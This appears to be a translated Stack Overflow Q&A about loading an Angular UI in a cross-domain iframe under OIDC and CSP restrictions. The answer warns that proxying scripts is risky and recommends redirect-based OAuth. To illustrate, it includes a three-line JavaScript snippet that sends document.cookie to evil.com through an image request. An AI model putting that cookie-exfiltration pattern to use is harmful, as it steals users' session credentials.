在 iframe 中跨域加载 Angular UI

Posted 2023-02-27

【中文标题】在 iframe 中跨域加载 Angular UI

【英文标题】：Cross-domain loading of Angular UI within an iframe

【发布时间】：2022-01-12 15:10:15

【问题描述】：

我们需要从外部合作伙伴安全网站中加载内部托管的 Angular UI。我们正在使用 OIDC 身份验证流调用内部 IDP 服务器来检索/验证用户令牌。

问题是我们无法对内部 IDP 服务器的规则进行自定义修改，以允许外部合作伙伴域有效地从 iframe 中调用（内容安全策略）。

这会导致我们收到与无效内容安全策略相关的错误，因为外部合作伙伴域不在 CSP 的允许域列表中。如果我们在公司内部域（在 CSP 中允许）内的 iframe 中提供此 UI，它就可以正常工作。

假设我们必须从合作伙伴网站内联（iframe 或其他）加载我们的内部 UI，并使用 oauth 模式对我们的用户进行身份验证，是否有任何可行的解决方案来解决这个问题？

我了解 CSP 和 x-frame-option 标头以这种方式设置是为了避免点击劫持安全风险，因此不确定在保持安全的同时可以向我们询问什么。最初的想法是可能在合作伙伴网站和我们的 UI 之间放置一个代理服务，并且代理服务将处理身份验证...绕过 CSP 规则...但看起来不一定安全，并且不确定如何实现，即使所以。任何想法或想法都会受到欢迎。谢谢！

【参考方案1】：

代理第三方脚本是个坏主意。考虑脚本：

var Img = document.createElement("img");
Img.setAttribute('src', 'http://evil.com?cookie=' + document.cookie);
document.body.appendChild(Img);

从其他人的域加载，脚本将无法访问document.cookie。但是在代理之后，浏览器会认为脚本是从您的域加载的，并将 cookie 发送到 evil.com 站点。

允许您的网站嵌入到 iframe 中打开大门：

clickjacking：通过放置一个不可见的框架，它允许您在访问者登录第三方站点时代表访问者执行操作。 Phishing：在 iframe 的情况下，用户在地址栏中看不到真实的 URL。因此，攻击者可以从他的域中加载一个看起来像第三方授权站点的 iframe。由于访问者无法看到这一点，因此他在攻击者站点输入登录名/密码。 第三方脚本访问一些敏感的用户数据，例如：地理位置、摄像头、麦克风、扬声器、移动设备传感器（加速度计、陀螺仪、环境光传感器、磁力计、振动）等。请参阅功能政策/权限政策如何限制这些。

要使用您的 IDP 服务器在第三方站点上验证用户身份，您必须重定向到您的域，在您的域上验证用户并将用户重定向回第三方站点。要保持身份验证，可以使用 JWT 令牌，或者第三方站点可以设置自己的身份验证 cookie。 referrer 用于返回启动身份验证的合作伙伴页面。 Google's OAuth2 服务就是这样工作的。

不知道您的 Web 应用程序正在处理哪些私人/财务数据，但您不太可能通过在安全系统中为第三方制造漏洞来为第三方的行为负责。

【讨论】：

感谢您的信息。我知道代理只是我们 IDP 规则的一种变通方法，这是有充分理由的……只是不太了解在 iframe 中执行此操作的全部影响范围。我将不得不看看第三方是否可以支持重定向。谢谢！

在 iframe 的情况下，用户在地址栏中看不到真实的 URL。因此，攻击者可以从他的域中加载一个看起来像第三方授权站点的 iframe。由于访问者无法看到这一点，因此他在攻击者站点输入登录名/密码。我已将此信息添加到答案中。